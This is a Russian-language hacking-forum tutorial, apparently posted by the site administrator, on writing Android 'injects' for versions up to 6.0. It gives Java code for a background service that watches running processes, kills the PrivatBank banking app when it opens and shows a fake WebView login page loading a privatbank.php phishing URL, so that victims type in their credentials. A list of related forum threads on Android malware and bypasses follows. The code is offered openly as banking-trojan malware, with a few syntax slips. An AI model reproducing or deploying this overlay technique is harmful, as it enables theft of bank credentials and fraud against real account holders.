Android, Инжекты до 6.0, Android injection

Admin

Администратор
Обещал как то написать статью по инжектам для андроида 6.0(API 23), так как не было времени, пришлось оттянуть обещание!

Язык java, среда разработки Android Studio
DroidSQLi-Android-Sql-Injection-v1.0.png

Начну сразу с того, что у нас уже созданный проект(к примеру по статье allmore), далее нам нужно создать service(назовём ServiceInjection),
который будет следить за процессами и activity(назовём ActivityInjection), которое будет являться наши фейком(где жертва будет вводить логи).

В манифест добавим
Код:
<uses-permission android:name="android.permission.GET_TASKS" />
Рассмотрим service:

Пишем функцию которая нам возваращает имя процесса до версии 5.0

Код:
public String getPackage() // получаем процессы до API 5.0
{
   if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.KITKAT) {
       ActivityManager am = (ActivityManager) this.getSystemService(ACTIVITY_SERVICE);
       List<ActivityManager.RunningTaskInfo> taskInfo = am.getRunningTasks(1);
       ComponentName componentInfo = taskInfo.get(0).topActivity;
       return taskInfo.get(0).topActivity.getPackageName();
   }
   else
   {
       ActivityManager manager = (ActivityManager)this.getSystemService(Context.ACTIVITY_SERVICE);
       List<ActivityManager.RunningAppProcessInfo> tasks = manager.getRunningAppProcesses();
       return tasks.get(0).processName;
   }
}
Функция для скана директории /proc/, где мы получим pid запущенного процесса(/proc/nnnn), я думаю тут уже все понятно как работают и инжекты от API 21 до API 23

Директория /proc/

Код:
//------5.1 и выше--------------------------------
protected static String readFile(String path) throws IOException {
   BufferedReader reader = null;
   try {
       StringBuilder output = new StringBuilder();
       reader = new BufferedReader(new FileReader(path));
       for (String line = reader.readLine(), newLine = ""; line != null; line = reader.readLine()) {
           output.append(newLine).append(line);
           newLine = "\n";
       }
       return output.toString();
   }
   finally { if (reader != null) {try {reader.close();} catch (IOException ignored){}}}
}
И функция где мы по pid получим имя процесса

Код:
static String getProcessName(int pid) throws IOException {
   String cmdline = null;
   try {cmdline = readFile(String.format("/proc/%d/cmdline", pid)).trim();} catch (IOException ignored) {}
   return cmdline;
}
Пишем обработку слежения за процессами

Код:
public void scanProcess(){
       new Thread(new Runnable(){
                public void run(){
                   if(Build.VERSION.SDK_INT <= Build.VERSION_CODES.LOLLIPOP_MR1)
                   {
                       for (int i = 0; i > -1; i++) //смотрим процессы до 5.0
                       {
                           String nameProcess = "ua.privatbank"; //имя процесса который нужно инжектить
                           String Process = getPackage(); //получаем активный процесс
                  
                           if(Process.contains(nameProcess))//если наш процесс запущен, то убиваем этот процесс и запускаем activity
                           {
                               ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
                               am.killBackgroundProcesses(Process);
                      
                               Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
                               dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                               startActivity(dialogIntent);
                           }
                       }
                   try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
                   }
                   else
                   {//Теперь пишем для 5.1 и выше
                       for (int i = 0; i > -1; i++)
                       {
                           String nameProcess = "ua.privatbank"; //имя процесса для инжекта
      
                           File directory = new File(directoryName);//Получаем список папок и файлов в директории /proc/
                           File[] fList = directory.listFiles();
                           for (File file : fList) {
                           if (file.isDirectory()) {
                                   try {
                                       String s = file.toString();
                                       s = s.replace("/proc/", "");

                                       String procNameProcess = getProcessName(Integer.parseInt(s));//выводим процессы
                              
                                       //если процесс запущен, то также убиваем этот процесс и запускаем activity
                                       if (procNameProcess.contains(data_name_inj)) {
                                       ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
                                       am.killBackgroundProcesses(procNameProcess);
                                       file.delete();
                              
                                       Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
                                       dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                                       startActivity(dialogIntent);
                                       break;
                                       }
                                   } catch (Exception ex) {}
                               }
                           }
                  
                       }
                   try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
                   }
       stopSelf();
       }
   }).start();
}
Теперь осталось запустить функцию скана процессов и сделать activity

Код:
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
  scanProcess _act();
  return  flags;
}
Аctivity
Код:
public class ActivityInjection extends Activity {
   @SuppressLint("SetJavaScriptEnabled")
   @Override
   protected void onCreate(Bundle savedInstanceState)
   {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activityinjection);
   }
   @Override
   protected void onStart() {
       super.onStart();

       WebView webView = (WebView) findViewById(R.id.webView);
       webView.getSettings().setJavaScriptEnabled(true);
       webView.setWebViewClient(new WebViewClient());
       webView.setWebChromeClient(new WebChromeClient());
       webView.loadUrl(“https//androidBOT/injection/privatbank.php"));
   }
}
Но вообще есть еще множество способ получить имя процесса для инжектов!
Вот и все, будет время еще что нибудь напишу, если конечно кому интересно!
 
  • Like
Реакции: Kpa6
Похожие темы
devqp Статья Байпас рут-детекции и детектирования эмуляторов в Android через Frida Уязвимости и взлом 0
Admin UFOLABSNEWS Android-смартфоны продавали с уже установленным вредоносом. Удалить его обычными средствами нельзя. Новости в сети 0
Admin UFOLABSNEWS На бюджетных Android-устройствах обнаружено предустановленное вредоносное ПО. Новости в сети 0
devqp Статья Скрытая установка вредоносных APK в Android через сервис загрузки Вирусология 0
Admin UFOLABSNEWS Новый вредоносный софт RatHat сохраняет доступ к Android даже после удаления. Новости в сети 0
Admin UFOLABSNEWS Android снова пропускает трафик мимо VPN даже с функцией kill switch. Новости в сети 0
Admin UFOLABSNEWS Новый Android-вымогатель крадёт OTP, блокирует экран и тайно фотографирует жертву. Новости в сети 0
Admin UFOLABSNEWS Хакеры использовали модель Claude для извлечения данных из 1,8 млн приложений Android. Новости в сети 0
Admin UFOLABSNEWS Новый вредоносный софт для Android шифрует файлы и крадёт данные. Новости в сети 0
Admin UFOLABSNEWS Еженедельный обзор угроз: 200 уязвимостей в Android, фишинг через браузеры и 119 тысяч мошеннических магазинов. Новости в сети 0
Admin UFOLABSNEWS Троян Gigabud использует рабочие профили Android для обхода проверок банковских приложений. Новости в сети 0
Admin UFOLABSNEWS Для Android выпустили клавиатуру «Соучастник», которая ищет уголовные статьи в набираемом тексте. Новости в сети 0
Admin UFOLABSNEWS Claude Code ускорил работу Android TV на старом телевизоре. Новости в сети 0
Admin UFOLABSNEWS Android 17 добавил системную поддержку ECH для скрытия посещаемых сайтов от провайдеров. Новости в сети 0
Admin UFOLABSNEWS Google вводит жёсткие ограничения на использование памяти для Android-приложений. Новости в сети 0
devqp Статья Обход детектирования root-прав и эмуляции в Android-приложениях через Frida Уязвимости и взлом 1
Admin Интересно Google начинает отбирать место в облаке у владельцев Android. Новости в сети 0
Admin Интересно Ошибка в Android позволяет Gemini отправлять сообщения без разблокировки телефона. Новости в сети 0
devqp Статья Asocks: Android SOCKS5-сервер с двойным сетевым интерфейсом и поддержкой UDP Полезные статьи 0
Admin UFOLABSNEWS Исследование выявило утечки данных и отслеживание в популярных бесплатных VPN для Android. Новости в сети 0
Admin UFOLABSNEWS Новый Android-вирус RedWing предлагается в аренду через Telegram. Новости в сети 0
Admin UFOLABSNEWS Android ужесточает защиту экрана блокировки с новыми ограничениями на ввод PIN-кода. Новости в сети 0
Admin UFOLABSNEWS Эксплойт против ядра Linux и Android показал рекордную успешность выполнения на уровне 99 процентов. Новости в сети 0
Admin UFOLABSNEWS DeepSeek помог создать вымогательское ПО, зашифровавшее реальный смартфон на Android. Новости в сети 0
Admin UFOLABSNEWS Уязвимость в Android-приложениях позволяет злоумышленникам перехватывать управление. Новости в сети 0
Admin UFOLABSNEWS Google ужесточит правила регистрации Android-приложений с 2027 года. Новости в сети 0
Admin UFOLABSNEWS Google усложняет установку приложений из сторонних источников на Android. Новости в сети 0
Admin Интересно GrapheneOS выходит на Android 17 с расширенной поддержкой устройств. Новости в сети 0
Admin Интересно Android теперь сбрасывает звонок мошенников раньше, чем вы успеете сказать «алло». Новости в сети 0
Admin Интересно Троян MagicAd обходит ограничения Android и показывает рекламу в фоновом режиме. Новости в сети 0
Admin Интересно Новая уязвимость в Android позволяет взломать смартфон без единого клика. Новости в сети 0
Admin Интересно Пользователи Android могут получить выплату от Google в размере $135 млн. Новости в сети 0
Admin Интересно Grandoreiro и BTMOB атакуют пользователей Windows и Android в Латинской Америке и Европе. Новости в сети 0
Admin Интересно BTMOB: скрытый троян для Android, способный захватить устройство. Новости в сети 0
Admin Интересно В Android-сборке Telegram обнаружен шпионский троян. Новости в сети 0
Admin Интересно Пока вы спите, ваш Android ударно трудится на рекламных фермах. Новости в сети 0
Admin Интересно Google представила Gemini Intelligence — Android научится сам выполнять задачи. Новости в сети 0
Admin Интересно Google представила функцию записи атак на Android для журналистов и активистов. Новости в сети 0
Admin Интересно Apple добавила шифрование переписки между iPhone и Android. Новости в сети 0
Admin Интересно Android 17 научится автоматически блокировать мошеннические звонки. Новости в сети 0
Admin Интересно Google представила функцию записи вторжений для анализа сложных атак на Android. Новости в сети 0
Admin Интересно Новая версия трояна TrickMo использует сеть TON для создания сетевых узлов на Android. Новости в сети 0
Admin Интересно Миллионы пользователей Android обмануты приложениями с поддельными журналами вызовов. Новости в сети 0
Admin Интересно Google срочно закрывает критическую уязвимость в Android. Новости в сети 0
Admin Интересно Мошенники используют NFC на Android для хищения денег через банкоматы. Новости в сети 0
Admin Интересно Мошеннические приложения CallPhantom обманывают пользователей Android. Новости в сети 0
Admin Интересно Google внедряет систему публичной проверки приложений Android для защиты от атак на цепочку поставок. Новости в сети 0
Admin Интересно Ваша телефонная книга останется при вас. Разбираемся в новых настройках приватности Android. Новости в сети 0
Admin Интересно Google заблокировал 8,3 млрд рекламных объявлений в 2025 году и представил обновления для Android 17. Новости в сети 0
Admin Интересно Уязвимость в графическом процессоре Android позволяет получить полный контроль над устройством. Новости в сети 0

Название темы